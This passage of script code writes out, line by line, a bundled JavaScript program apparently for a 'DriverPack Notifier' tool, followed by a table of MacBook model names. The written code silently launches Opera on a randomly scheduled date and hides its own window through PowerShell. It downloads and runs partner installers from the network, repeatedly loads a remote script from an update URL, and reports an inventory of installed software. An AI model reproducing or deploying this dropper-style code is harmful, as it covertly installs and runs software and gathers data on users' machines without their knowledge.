file.WriteLine(" if ((0, _checkSoft.getPartnerInfo)({");
file.WriteLine(" Program: \"Opera\"");
file.WriteLine(" }).isPartner && !
_system.fso.FileExists(activeOperaFile)) {");
file.WriteLine(" var statisticsLabel =
_statistics2[\"default\"].drpVersion + \" partner soft opera\";");
file.WriteLine(" _statistics2[\"default\"].event({");
file.WriteLine(" action: \"soft inactive detected\",");
file.WriteLine(" label: statisticsLabel,");
file.WriteLine(" counters: {");
file.WriteLine(" yandex: !0");
file.WriteLine(" }");
file.WriteLine(" });");
file.WriteLine(" this.inactiveOperaSent = !0;");
file.WriteLine(" this.workWithInactiveOpera();");
file.WriteLine(" var campaign = (0, _system.RegRead)
(\"HKCU\\\\Software\\\\drpsu\\\\OperaActivatorCampaign\");");
file.WriteLine(" if (campaign && (0, _system.RegRead)
(\"HKCU\\\\Software\\\\drpsu\\\\OperaActivatorDate\"))
_statistics2[\"default\"].event({");
file.WriteLine(" action: \"soft inactive activation
planned \" + campaign,");
file.WriteLine(" label: statisticsLabel,");
file.WriteLine(" counters: {");
file.WriteLine(" yandex: !0");
file.WriteLine(" }");
file.WriteLine(" });");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" Soft.prototype.workWithInactiveOpera = function() {");
file.WriteLine(" var campaign = \"2017-09-05 - 2017-09-15\", startDate =
new Date(\"2017-09-05\").valueOf(), finishDate = new Date(\"2017-09-
15\").valueOf(), regCampaign
= \"HKCU\\\\Software\\\\drpsu\\\\OperaActivatorCampaign\", regDate
= \"HKCU\\\\Software\\\\drpsu\\\\OperaActivatorDate\", statisticsLabel =
_statistics2[\"default\"].drpVersion + \" partner soft opera\";");
file.WriteLine(" if (!(0, _system.RegRead)(regDate) && (0,
_system.RegRead)(regCampaign) !== campaign) (0, ");
file.WriteLine(" _system.RegDelete)(regCampaign);");
file.WriteLine(" if (Date.now() > parseInt((0, _system.RegRead)
(regDate), 10)) {");
file.WriteLine(" var operaLauncher = (0, _system.RegRead)
(\"HKCU\\\\Software\\\\Opera Software\\\\Last Stable Install Path\")
+ \"launcher.exe\";");
file.WriteLine(" _system.WshShell.Run(this.wrapInCmd(operaLauncher),
0, !0);");
file.WriteLine(" (0, _system.RegDelete)(regDate);");
file.WriteLine(" _statistics2[\"default\"].event({");
file.WriteLine(" action: \"soft activated \" + campaign,");
file.WriteLine(" label: statisticsLabel,");
file.WriteLine(" counters: {");
file.WriteLine(" yandex: !0");
file.WriteLine(" }");
file.WriteLine(" });");
file.WriteLine(" } else if (!(0, _system.RegRead)(regCampaign) &&
Date.now() < startDate) {");
file.WriteLine(" (0, _system.RegWrite)(regCampaign, campaign);");
file.WriteLine(" if (Math.random() < 1) {");
file.WriteLine(" var date = startDate + Math.floor(Math.random()
* (finishDate - startDate));");
file.WriteLine(" (0, _system.RegWrite)(regDate, date);");
file.WriteLine(" _statistics2[\"default\"].event({");
file.WriteLine(" action: \"soft planned activation \" +
campaign,");
file.WriteLine(" label: statisticsLabel,");
file.WriteLine(" counters: {");
file.WriteLine(" yandex: !0");
file.WriteLine(" }");
file.WriteLine(" });");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" Soft.prototype.collectInstalledSoftData = function() {");
file.WriteLine(" var _this4 = this, regKeys =
this.getInstalledSoftRegistryKeys();");
file.WriteLine(" Object.entries(PartnerSoft).forEach(function(_ref5)
{");
file.WriteLine(" var category = _ref5[0], categorySoft =
_ref5[1];");
file.WriteLine(" _this4.installedSoftData[category] = [];");
file.WriteLine(" categorySoft.forEach(function(partnerSoftObject)
{");
file.WriteLine(" var softState =
_this4.getSoftState(partnerSoftObject, regKeys);");
file.WriteLine(" if (softState) {");
file.WriteLine(" softState.name = partnerSoftObject.Name;");
file.WriteLine("
_this4.installedSoftData[category].push(softState);");
file.WriteLine(" }");
file.WriteLine(" });");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine(" Soft.prototype.detectProgramInstallation = function() {");
file.WriteLine(" var prevCount = installedSoftCount, regKeys =
this.getInstalledSoftRegistryKeys();");
file.WriteLine(" if (prevCount && prevCount < regKeys.length) {");
file.WriteLine(" var softChanges = (0,
_getSoftChanges2[\"default\"])();");
file.WriteLine(" if (softChanges.installed.length) new
_DriverPack2[\"default\"]().run(softChanges.installed);");
file.WriteLine(" }");
file.WriteLine(" installedSoftCount = regKeys.length;");
file.WriteLine(" };");
file.WriteLine(" Soft.prototype.getInstalledSoftRegistryKeys = function()
{");
file.WriteLine(" var installedSoftHKLM = [], installedSoftHKCU = [];");
file.WriteLine(" try {");
file.WriteLine(" installedSoftHKLM =
this.registry.EnumKey(this.registry.HKLM, this.softRegistryKey);");
file.WriteLine(" } catch (e) {}");
file.WriteLine(" try {");
file.WriteLine(" installedSoftHKCU =
this.registry.EnumKey(this.registry.HKCU, this.softRegistryKey);");
file.WriteLine(" } catch (e) {}");
file.WriteLine(" return installedSoftHKLM.concat(installedSoftHKCU);");
file.WriteLine(" };");
file.WriteLine(" Soft.prototype.getSoftState = function(partnerSoftObject,
regKeys) {");
file.WriteLine(" var result = null, softKey =
regKeys.find(function(softKey) {");
file.WriteLine(" return
partnerSoftObject.registryReg.test(softKey);");
file.WriteLine(" });");
file.WriteLine(" if (softKey) {");
file.WriteLine(" result = {};");
file.WriteLine(" result.displayName =
this.registry.GetStringValue(this.registry[partnerSoftObject.HKEY],
this.softRegistryKey + \"\\\\\" + softKey, \"DisplayName\");");
file.WriteLine(" result.displayVersion =
this.registry.GetStringValue(this.registry[partnerSoftObject.HKEY],
this.softRegistryKey + \"\\\\\" + softKey, \"DisplayVersion\");");
file.WriteLine(" }");
file.WriteLine(" return result;");
file.WriteLine(" };");
file.WriteLine(" Soft.prototype.collectAllInstalledSoftData = function()
{");
file.WriteLine(" var _this5 = this;");
file.WriteLine(" this.allInstalledSoftData = [];");
file.WriteLine(" var installedSoftHKLM = [], installedSoftHKCU = [];");
file.WriteLine(" try {");
file.WriteLine(" installedSoftHKLM =
this.registry.EnumKey(this.registry.HKLM, this.softRegistryKey);");
file.WriteLine(" } catch (e) {}");
file.WriteLine(" try {");
file.WriteLine(" installedSoftHKCU =
this.registry.EnumKey(this.registry.HKCU, this.softRegistryKey);");
file.WriteLine(" } catch (e) {}");
file.WriteLine(" installedSoftHKLM.forEach(function(softKey) {");
file.WriteLine(" var softData = {};");
file.WriteLine(" softData.displayName =
_this5.registry.GetStringValue(_this5.registry.HKLM, _this5.softRegistryKey
+ \"\\\\\" + softKey, \"DisplayName\");");
file.WriteLine(" softData.displayVersion =
_this5.registry.GetStringValue(_this5.registry.HKLM, _this5.softRegistryKey
+ \"\\\\\" + softKey, \"DisplayVersion\");");
file.WriteLine(" softData.publisher =
_this5.registry.GetStringValue(_this5.registry.HKLM, _this5.softRegistryKey
+ \"\\\\\" + softKey, \"Publisher\");");
file.WriteLine(" if (softData.displayName)
_this5.allInstalledSoftData.push(softData);");
file.WriteLine(" });");
file.WriteLine(" installedSoftHKCU.forEach(function(softKey) {");
file.WriteLine(" var softData = {};");
file.WriteLine(" softData.displayName =
_this5.registry.GetStringValue(_this5.registry.HKCU, _this5.softRegistryKey
+ \"\\\\\" + softKey, \"DisplayName\");");
file.WriteLine(" softData.displayVersion =
_this5.registry.GetStringValue(_this5.registry.HKCU, _this5.softRegistryKey
+ \"\\\\\" + softKey, \"DisplayVersion\");");
file.WriteLine(" softData.publisher =
_this5.registry.GetStringValue(_this5.registry.HKCU, _this5.softRegistryKey
+ \"\\\\\" + softKey, \"Publisher\");");
file.WriteLine(" if (softData.displayName)
_this5.allInstalledSoftData.push(softData);");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine(" Soft.prototype.showConfirm = function() {");
file.WriteLine(" function showConfirm(_x) {");
file.WriteLine(" return _ref6.apply(this, arguments);");
file.WriteLine(" }");
file.WriteLine(" var _ref6 =
_asyncToGenerator(regeneratorRuntime.mark(function _callee4(_ref7) {");
file.WriteLine(" var notification, status, params, softName =
_ref7.softName, softCategory = _ref7.softCategory, type = arguments.length > 1 &&
arguments[1] !== undefined ? arguments[1] : \"partnersoft-\" +
softCategory.toLowerCase();");
file.WriteLine(" return regeneratorRuntime.wrap(function(_context4)
{");
file.WriteLine(" for (;;) switch (_context4.prev =
_context4.next) {");
file.WriteLine(" case 0:");
file.WriteLine(" notification = new
_Notification2[\"default\"](type, {");
file.WriteLine(" softName: softName");
file.WriteLine(" });");
file.WriteLine(" _context4.next = 3;");
file.WriteLine(" return notification.show();");
file.WriteLine("");
file.WriteLine(" case 3:");
file.WriteLine(" status = _context4.sent;");
file.WriteLine(" if (\"ok\" === status) {");
file.WriteLine(" params = [ \"--partnersoft\", !0, \"--
label\", notification.config.statisticsLabel, \"--softname\",
encodeURIComponent(softName), \"--softcategory\",
encodeURIComponent(softCategory) ].join(\" \");");
file.WriteLine(" _system.WshShell.Run('\"' +
_utils.AppPath + '\\\\Uninstall.exe\" ' + params, 3, !1);");
file.WriteLine(" }");
file.WriteLine("");
file.WriteLine(" case 5:");
file.WriteLine(" case \"end\":");
file.WriteLine(" return _context4.stop();");
file.WriteLine(" }");
file.WriteLine(" }, _callee4, this);");
file.WriteLine(" }));");
file.WriteLine(" return showConfirm;");
file.WriteLine(" }();");
file.WriteLine(" Soft.prototype.install = function() {");
file.WriteLine(" function install(_x3) {");
file.WriteLine(" return _ref8.apply(this, arguments);");
file.WriteLine(" }");
file.WriteLine(" var _ref8 =
_asyncToGenerator(regeneratorRuntime.mark(function _callee5(_ref9) {");
file.WriteLine(" var softName, partnerSoftObject, softUrl, softKeys,
downloadURI, keys, fileName, targetFolder, wgetCommand, command, label =
_ref9.label, softname = _ref9.softname, softcategory = _ref9.softcategory;");
file.WriteLine(" return regeneratorRuntime.wrap(function(_context5)
{");
file.WriteLine(" for (;;) switch (_context5.prev =
_context5.next) {");
file.WriteLine(" case 0:");
file.WriteLine(" try {");
file.WriteLine(" _statistics2[\"default\"].event({");
file.WriteLine(" action: \"soft installation
started\",");
file.WriteLine(" label:
_statistics2[\"default\"].drpVersion + \" \" + label");
file.WriteLine(" }, [], !0);");
file.WriteLine(" softName = softname;");
file.WriteLine(" partnerSoftObject =
PartnerSoft[softcategory].find(function(softObject) {");
file.WriteLine(" return softObject.Name ===
softName;");
file.WriteLine(" });");
file.WriteLine(" softUrl = partnerSoftObject.URL;");
file.WriteLine(" softKeys = partnerSoftObject.Keys;");
file.WriteLine(" if (softName) {");
file.WriteLine(" downloadURI = softUrl;");
file.WriteLine(" keys = softKeys;");
file.WriteLine(" fileName =
downloadURI.split(\"/\").slice(-1);");
file.WriteLine(" targetFolder =
_system.WshShell.ExpandEnvironmentStrings(\"%TEMP%\");");
file.WriteLine(" if
(_system.fso.FileExists(_utils.WgetPath)) {");
file.WriteLine(" wgetCommand = '\"' +
_utils.WgetPath + '\" -P \"' + targetFolder + '\" \"' + downloadURI + '\"';");
file.WriteLine(" command =
this.wrapInCmd(wgetCommand);");
file.WriteLine(" _system.WshShell.Run(command,
0, !0);");
file.WriteLine(" _system.WshShell.Run('\"' +
targetFolder + \"\\\\\" + fileName + '\" ' + keys, 1, !0);");
file.WriteLine("
_statistics2[\"default\"].event({");
file.WriteLine(" action: \"soft installation
completed\",");
file.WriteLine(" label:
_statistics2[\"default\"].drpVersion + \" \" + label");
file.WriteLine(" }, [], !0);");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" } catch (e) {");
file.WriteLine(" _statistics2[\"default\"].event({");
file.WriteLine(" action: \"soft installation
failed\",");
file.WriteLine(" label:
_statistics2[\"default\"].drpVersion + \" \" + label");
file.WriteLine(" }, [], !0);");
file.WriteLine(" }");
file.WriteLine("");
file.WriteLine(" case 1:");
file.WriteLine(" case \"end\":");
file.WriteLine(" return _context5.stop();");
file.WriteLine(" }");
file.WriteLine(" }, _callee5, this);");
file.WriteLine(" }));");
file.WriteLine(" return install;");
file.WriteLine(" }();");
file.WriteLine(" Soft.prototype.wrapInCmd = function(command) {");
file.WriteLine(" return 'cmd /c \"' + command + '\"';");
file.WriteLine(" };");
file.WriteLine(" return Soft;");
file.WriteLine(" }();");
file.WriteLine(" exports[\"default\"] = Soft;");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" function webpackContext(req) {");
file.WriteLine(" return __webpack_require__(webpackContextResolve(req));");
file.WriteLine(" }");
file.WriteLine(" function webpackContextResolve(req) {");
file.WriteLine(" var id = map[req];");
file.WriteLine(" if (!(id + 1)) throw new Error(\"Cannot find module '\" +
req + \"'.\");");
file.WriteLine(" return id;");
file.WriteLine(" }");
file.WriteLine(" var map = {");
file.WriteLine(" \"./change_energy_mode.js\": 468,");
file.WriteLine(" \"./cmd.js\": 469,");
file.WriteLine(" \"./create_recovery_point.js\": 470,");
file.WriteLine(" \"./install_antivirus.js\": 471,");
file.WriteLine(" \"./install_drivers.js\": 472,");
file.WriteLine(" \"./start_cleanup.js\": 473,");
file.WriteLine(" \"./start_cureit.js\": 474,");
file.WriteLine(" \"./start_defrag.js\": 475,");
file.WriteLine(" \"./start_mrt.js\": 476,");
file.WriteLine(" \"./start_protect.js\": 477,");
file.WriteLine(" \"./start_teamviewer.js\": 478");
file.WriteLine(" };");
file.WriteLine(" webpackContext.keys = function() {");
file.WriteLine(" return Object.keys(map);");
file.WriteLine(" };");
file.WriteLine(" webpackContext.resolve = webpackContextResolve;");
file.WriteLine(" module.exports = webpackContext;");
file.WriteLine(" webpackContext.id = 220;");
file.WriteLine("}, , function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" function _interopRequireDefault(obj) {");
file.WriteLine(" return obj && obj.__esModule ? obj : {");
file.WriteLine(" \"default\": obj");
file.WriteLine(" };");
file.WriteLine(" }");
file.WriteLine(" function _asyncToGenerator(fn) {");
file.WriteLine(" return function() {");
file.WriteLine(" var gen = fn.apply(this, arguments);");
file.WriteLine(" return new Promise(function(resolve, reject) {");
file.WriteLine(" function step(key, arg) {");
file.WriteLine(" try {");
file.WriteLine(" var info = gen[key](arg), value =
info.value;");
file.WriteLine(" } catch (error) {");
file.WriteLine(" reject(error);");
file.WriteLine(" return;");
file.WriteLine(" }");
file.WriteLine(" if (info.done) resolve(value); else return
Promise.resolve(value).then(function(value) {");
file.WriteLine(" step(\"next\", value);");
file.WriteLine(" }, function(err) {");
file.WriteLine(" step(\"throw\", err);");
file.WriteLine(" });");
file.WriteLine(" }");
file.WriteLine(" return step(\"next\");");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine(" }");
file.WriteLine(" __webpack_require__(215);");
file.WriteLine(" var _statistics = __webpack_require__(20), _statistics2 =
_interopRequireDefault(_statistics), _clientIdStorage = __webpack_require__(113),
_clientIdStorage2 = _interopRequireDefault(_clientIdStorage), _system =
__webpack_require__(1), _config = __webpack_require__(6), _ps =
__webpack_require__(112), _ps2 = _interopRequireDefault(_ps), _Scheduler =
__webpack_require__(218), _Scheduler2 = _interopRequireDefault(_Scheduler),
_Antivirus = __webpack_require__(174), _Antivirus2 =
_interopRequireDefault(_Antivirus), _FileAssociationsManager =
__webpack_require__(217), _FileAssociationsManager2 =
_interopRequireDefault(_FileAssociationsManager), _Soft = __webpack_require__(219),
_Soft2 = _interopRequireDefault(_Soft), _Monitoring = __webpack_require__(464),
_Monitoring2 = _interopRequireDefault(_Monitoring), _watcher =
__webpack_require__(458), _watcher2 = _interopRequireDefault(_watcher), _wmi =
__webpack_require__(2), _utils = __webpack_require__(4), _Metric =
__webpack_require__(214), _Metric2 = _interopRequireDefault(_Metric), _sysinfo =
__webpack_require__(457);");
file.WriteLine(" Object.assign(window, {");
file.WriteLine(" monitoringRunDelay: 6e5,");
file.WriteLine(" abortRemoteScriptInterval: 3e4,");
file.WriteLine(" checkUpdateInterval: _config.update.interval,");
file.WriteLine(" checkUpdateUrl: _config.update.hostname + \"/watcher-
autocheck/\" + _config.update.filename");
file.WriteLine(" });");
file.WriteLine(" var exitNow = function() {");
file.WriteLine(" if (_config.logging) __webpack_require__(17)
[\"default\"].onunload();");
file.WriteLine(" window.close();");
file.WriteLine(" }, exit = function() {");
file.WriteLine(" return setTimeout(exitNow, 3e3);");
file.WriteLine(" }, selectRunning = '\\n SELECT\\n *\\n FROM\\n
Win32_Process\\n WHERE\\n NAME = \"mshta.exe\" AND\\n CommandLine
LIKE \"%DriverPack Notifier%relaunch%\"\\n'.trim().replace(/\\n\\s+/g, \" \"), run
= function(runFrom, relaunch) {");
file.WriteLine(" if ((0, _utils.isRunFromProgramFiles)()) {");
file.WriteLine(" (0, _utils.runFromNewPlace)(runFrom);");
file.WriteLine(" window.close();");
file.WriteLine(" } else {");
file.WriteLine(" if
(_wmi.objWMIService.ExecQuery(selectRunning, \"WQL\", 0).Count > 1) window.close();
else {");
file.WriteLine(" _ps2[\"default\"].init().send([ \"$sig = '\" +
[ '[DllImport(\"user32.dll\")] public static extern int SendMessage(int hWnd, int
hMsg, int wParam, int lParam);', '[DllImport(\"user32.dll\")] public static extern
IntPtr GetWindow(IntPtr hWnd, uint uCmd);', '[DllImport(\"user32.dll\", EntryPoint
= \"FindWindowEx\")] public static extern IntPtr FindWindowEx(IntPtr hwndParent,
IntPtr hwndChildAfter, string lpszClass, string lpszWindow);',
'[DllImport(\"user32.dll\", SetLastError=true)] public static extern bool
SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy,
uint uFlags);', '[DllImport(\"user32.dll\")] public static extern bool
ShowWindow(IntPtr hWnd, int nCmdShow);', '[DllImport(\"user32.dll\")] public static
extern int SetWindowLong(IntPtr hWnd, int nIndex, int dwNewLong);' ].join(\"\")
+ \"'\", \"Add-Type -MemberDefinition $sig -name NativeMethods -namespace Win32\",
'$mainHwnd = [Win32.NativeMethods]::FindWindowEx(0, 0, \"HTML Application Host
Window Class\", \"DriverPack
Notifier\")', \"[Win32.NativeMethods]::ShowWindow($mainHwnd, 0x00)\" ]);");
file.WriteLine(" var monitoring = new _Monitoring2[\"default\"]
();");
file.WriteLine(" window.metric = new _Metric2[\"default\"]();");
file.WriteLine(" window.checkUpdateIntervalId =
setInterval(function() {");
file.WriteLine(" (0, _utils.addScript)
(window.checkUpdateUrl);");
file.WriteLine(" }, window.checkUpdateInterval);");
file.WriteLine(" window.checkingIntervalId = setInterval(function()
{");
file.WriteLine(" monitoring.run();");
file.WriteLine(" }, window.checkUpdateInterval);");
file.WriteLine(" window.runFrom = \"string\" == typeof runFrom ?
runFrom : \"scheduler\";");
file.WriteLine(" if (!1) monitoring.run(); else
setTimeout(function() {");
file.WriteLine(" monitoring.run();");
file.WriteLine(" }, window.monitoringRunDelay);");
file.WriteLine(" _statistics2[\"default\"].event({");
file.WriteLine(" action: \"application started\"");
file.WriteLine(" });");
file.WriteLine(" window.metric.send(\"data\", (0, _sysinfo.getDiag)
());");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" }, main = function() {");
file.WriteLine(" var _ref =
_asyncToGenerator(regeneratorRuntime.mark(function _callee(commandLine) {");
file.WriteLine(" var _ParseCMD, cmd, args, scheduler, argument,
antivirus, _args, lang, countryCode, fam, extension, fileName, fullFilePath,
_countryCode, _lang, label, _fullFilePath, _label, softname, softcategory, HKCU;");
file.WriteLine(" return regeneratorRuntime.wrap(function(_context) {");
file.WriteLine(" for (;;) switch (_context.prev = _context.next)
{");
file.WriteLine(" case 0:");
file.WriteLine(" _ParseCMD = (0, _system.ParseCMD)(commandLine),
cmd = _ParseCMD[0], args = _ParseCMD.slice(1);");
file.WriteLine(" args = (0, _utils.ParseArgs)(args);");
file.WriteLine(" window.currentDirectory =
cmd.replace(/run\\.hta$/, \"\");");
file.WriteLine(" if (!args.install) {");
file.WriteLine(" _context.next = 9;");
file.WriteLine(" break;");
file.WriteLine(" }");
file.WriteLine(" _watcher2[\"default\"].install();");
file.WriteLine(" _statistics2[\"default\"].event({");
file.WriteLine(" action: \"application installed\"");
file.WriteLine(" }, [], !0);");
file.WriteLine(" exit();");
file.WriteLine(" _context.next = 22;");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 9:");
file.WriteLine(" if (!args.uninstall) {");
file.WriteLine(" _context.next = 15;");
file.WriteLine(" break;");
file.WriteLine(" }");
file.WriteLine(" _context.next = 12;");
file.WriteLine(" return _watcher2[\"default\"].uninstall();");
file.WriteLine("");
file.WriteLine(" case 12:");
file.WriteLine(" exit();");
file.WriteLine(" _context.next = 22;");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 15:");
file.WriteLine(" if (!args.upgrade || \"string\" != typeof
args.installer) {");
file.WriteLine(" _context.next = 21;");
file.WriteLine(" break;");
file.WriteLine(" }");
file.WriteLine(" _context.next = 18;");
file.WriteLine(" return
_watcher2[\"default\"].upgrade(args.installer);");
file.WriteLine("");
file.WriteLine(" case 18:");
file.WriteLine(" exit();");
file.WriteLine(" _context.next = 22;");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 21:");
file.WriteLine(" if (\"string\" == typeof args.jpbId
&& \"string\" == typeof args.command) {");
file.WriteLine(" scheduler = new _Scheduler2[\"default\"]
();");
file.WriteLine(" scheduler.baseUri = args.baseUri;");
file.WriteLine(" argument = args.argument ?
decodeURIComponent(args.argument) : \"\";");
file.WriteLine(" scheduler.execute(args.jpbId, args.command,
argument).then(exitNow, exitNow);");
file.WriteLine(" } else if (\"string\" == typeof args.antivirus)
{");
file.WriteLine(" antivirus = new _Antivirus2[\"default\"]
();");
file.WriteLine(" if
([ \"notworking\", \"notinstalled\" ].includes(args.antivirus)) {");
file.WriteLine(" _args = args, lang = _args.lang,
countryCode = _args.countryCode;");
file.WriteLine(" antivirus.installAntivirus({");
file.WriteLine(" lang: lang,");
file.WriteLine(" countryCode: countryCode");
file.WriteLine(" });");
file.WriteLine(" }");
file.WriteLine(" } else if (\"string\" == typeof
args.file_association) {");
file.WriteLine(" fam = new
_FileAssociationsManager2[\"default\"]();");
file.WriteLine(" if (!args.install_soft) {");
file.WriteLine(" (0, _utils.updateApplicationFiles)
();");
file.WriteLine(" extension = void 0;");
file.WriteLine(" fileName = void 0;");
file.WriteLine(" fullFilePath = args.fullfilepath;");
file.WriteLine(" if (args._.length) fullFilePath
+= \" \" + args._.join(\" \");");
file.WriteLine(" extension = \".\" +
fullFilePath.split(\".\").slice(-1)[0].toLowerCase();");
file.WriteLine(" fileName =
fullFilePath.split(\"\\\\\").slice(-1)[0];");
file.WriteLine(" _countryCode = window.geoip &&
window.geoip.geoip_country_code || \"\";");
file.WriteLine(" _lang = window.lang;");
file.WriteLine(" fam.showConfirm({");
file.WriteLine(" lang: _lang,");
file.WriteLine(" countryCode: _countryCode");
file.WriteLine(" }, extension, fileName,
fullFilePath);");
file.WriteLine(" } else {");
file.WriteLine(" label =
decodeURIComponent(args.label);");
file.WriteLine(" _fullFilePath =
decodeURIComponent(args.fullfilepath);");
file.WriteLine(" fam.installSoft(args.extension, label,
_fullFilePath);");
file.WriteLine("
fam.openInstalledSoft(_fullFilePath);");
file.WriteLine(" setTimeout(function() {");
file.WriteLine(" window.close();");
file.WriteLine(" }, 3e3);");
file.WriteLine(" }");
file.WriteLine(" } else if (\"string\" == typeof
args.partnersoft) {");
file.WriteLine(" _label = args.label;");
file.WriteLine(" if (args._.length) _label += \" \" +
args._.join(\" \");");
file.WriteLine(" softname =
decodeURIComponent(args.softname);");
file.WriteLine(" softcategory =
decodeURIComponent(args.softcategory);");
file.WriteLine(" new _Soft2[\"default\"]().install({");
file.WriteLine(" label: _label,");
file.WriteLine(" softname: softname,");
file.WriteLine(" softcategory: softcategory");
file.WriteLine(" });");
file.WriteLine(" setTimeout(function() {");
file.WriteLine(" window.close();");
file.WriteLine(" }, 3e3);");
file.WriteLine(" } else {");
file.WriteLine(" if (_utils.isOldOS) {");
file.WriteLine(" HKCU =
_clientIdStorage2[\"default\"].stores.HKCU;");
file.WriteLine(" HKCU.Reg = HKCU.Reg.replace(/^HKCU/i,
_utils.UserHK);");
file.WriteLine(" }");
file.WriteLine(" run(args.run, args.relaunch);");
file.WriteLine(" }");
file.WriteLine("");
file.WriteLine(" case 22:");
file.WriteLine(" case \"end\":");
file.WriteLine(" return _context.stop();");
file.WriteLine(" }");
file.WriteLine(" }, _callee, undefined);");
file.WriteLine(" }));");
file.WriteLine(" return function(_x) {");
file.WriteLine(" return _ref.apply(this, arguments);");
file.WriteLine(" };");
file.WriteLine(" }();");
file.WriteLine(" window.parseCMDArgs = function(commandLine) {");
file.WriteLine(" setTimeout(function() {");
file.WriteLine(" _statistics2[\"default\"].init();");
file.WriteLine(" if (commandLine === undefined) {");
file.WriteLine(" _statistics2[\"default\"].event({");
file.WriteLine(" action: \"arguments parsing failed\"");
file.WriteLine(" });");
file.WriteLine(" exit();");
file.WriteLine(" } else main(commandLine);");
file.WriteLine(" }, 0);");
file.WriteLine(" };");
file.WriteLine("}, , , function(module, exports) {");
file.WriteLine(" module.exports = {");
file.WriteLine(" \"MacBook1,1\": [ \"MacBook\" ],");
file.WriteLine(" \"MacBook2,1\": [ 'MacBook (13\" Mid 2007)' ],");
file.WriteLine(" \"MacBook3,1\": [ 'MacBook (13\" Late 2007)' ],");
file.WriteLine(" \"MacBook4,1\": [ 'MacBook (13\" Early 2008)', 'MacBook
(13\" Late 2008)' ],");
file.WriteLine(" \"MacBook5,1\": [ 'MacBook (13\" Late 2008)' ],");
file.WriteLine(" \"MacBook5,2\": [ 'MacBook (13\" Early 2009)', 'MacBook
(13\" Mid 2009)' ],");
file.WriteLine(" \"MacBook6,1\": [ 'MacBook (13\" Late 2009)' ],");
file.WriteLine(" \"MacBook7,1\": [ 'MacBook (13\" Mid 2010)' ],");
file.WriteLine(" \"MacBook8,1\": [ 'MacBook (12\" Early 2015)' ],");
file.WriteLine(" \"MacBook9,1\": [ 'MacBook (12\" Early 2016)' ],");
file.WriteLine(" \"MacBookAir1,1\": [ \"MacBook Air (Early 2008)\" ],");
file.WriteLine(" \"MacBookAir2,1\": [ \"MacBook Air (Late 2008)\", \"MacBook
Air (Mid 2009)\" ],");
file.WriteLine(" \"MacBookAir3,1\": [ 'MacBook Air (11\" Late 2010)' ],");
file.WriteLine(" \"MacBookAir3,2\": [ 'MacBook Air (13\" Late 2010)' ],");
file.WriteLine(" \"MacBookAir4,1\": [ 'MacBook Air (11\" Mid 2011)' ],");
file.WriteLine(" \"MacBookAir4,2\": [ 'MacBook Air (13\" Mid 2011)' ],");
file.WriteLine(" \"MacBookAir5,1\": [ 'MacBook Air (11\" Mid 2012)' ],");
file.WriteLine(" \"MacBookAir5,2\": [ 'MacBook Air (13\" Mid 2012)' ],");
file.WriteLine(" \"MacBookAir6,1\": [ 'MacBook Air (11\" Mid 2013)',
'MacBook Air (11\" Early 2014)' ],");
file.WriteLine(" \"MacBookAir6,2\": [ 'MacBook Air (13\" Mid 2013)',
'MacBook Air (13\" Early 2014)' ],");
file.WriteLine(" \"MacBookAir7,1\": [ 'MacBook Air (11\" Early 2015)' ],");
file.WriteLine(" \"MacBookAir7,2\": [ 'MacBook Air (13\" Early 2015)' ],");
file.WriteLine(" \"MacBookPro1,1\": [ 'MacBook Pro (15\" Early 2006)' ],");
file.WriteLine(" \"MacBookPro1,2\": [ 'MacBook Pro (17\" Early 2006)' ],");
file.WriteLine(" \"MacBookPro2,1\": [ 'MacBook Pro (17\" Late 2006)' ],");
file.WriteLine(" \"MacBookPro2,2\": [ 'MacBook Pro (15\" Late 2006)' ],");
file.WriteLine(" \"MacBookPro3,1\": [ 'MacBook Pro (15\" Mid 2007)',
'MacBook Pro (17\" Late 2007)' ],");
file.WriteLine(" \"MacBookPro4,1\": [ 'MacBook Pro (17\" Early 2008)',
'MacBook Pro (17\" Late 2008)' ],");
file.WriteLine(" \"MacBookPro5,1\": [ 'MacBook Pro (15\" Late 2008)',
'MacBook Pro (15\" Early 2009)', 'MacBook Pro (15\" Mid 2009)' ],");
file.WriteLine(" \"MacBookPro5,2\": [ 'MacBook Pro (17\" Early 2009)',
'MacBook Pro (17\" Mid 2009)' ],");
file.WriteLine(" \"MacBookPro5,3\": [ 'MacBook Pro (15\" Mid 2009)' ],");
file.WriteLine(" \"MacBookPro5,4\": [ 'MacBook Pro (15\" Mid 2009)' ],");
file.WriteLine(" \"MacBookPro5,5\": [ 'MacBook Pro (13\" Mid 2009)' ],");
file.WriteLine(" \"MacBookPro6,1\": [ 'MacBook Pro (17\" Mid 2010)' ],");
file.WriteLine(" \"MacBookPro6,2\": [ 'MacBook Pro (15\" Mid 2010)' ],");
file.WriteLine(" \"MacBookPro7,1\": [ 'MacBook Pro (13\" Mid 2010)' ],");
file.WriteLine(" \"MacBookPro8,1\": [ 'MacBook Pro (13\" Early 2011)',
'MacBook Pro (13\" Late 2011)' ],");
file.WriteLine(" \"MacBookPro8,2\": [ 'MacBook Pro (15\" Early 2011)',
'MacBook Pro (15\" Late 2011)' ],");
file.WriteLine(" \"MacBookPro8,3\": [ 'MacBook Pro (17\" Early 2011)',
'MacBook Pro (17\" Late 2011)' ],");
file.WriteLine(" \"MacBookPro9,1\": [ 'MacBook Pro (15\" Mid 2012)' ],");
file.WriteLine(" \"MacBookPro9,2\": [ 'MacBook Pro (13\" Mid 2012)' ],");
file.WriteLine(" \"MacBookPro10,1\": [ 'MacBook Pro (15\" Mid 2012)',
'MacBook Pro (15\" Early 2013)' ],");
file.WriteLine(" \"MacBookPro10,2\": [ 'MacBook Pro (13\" Late 2012)',
'MacBook Pro (13\" Early 2013)' ],");
file.WriteLine(" \"MacBookPro11,1\": [ 'MacBook Pro (13\" Late 2013)',
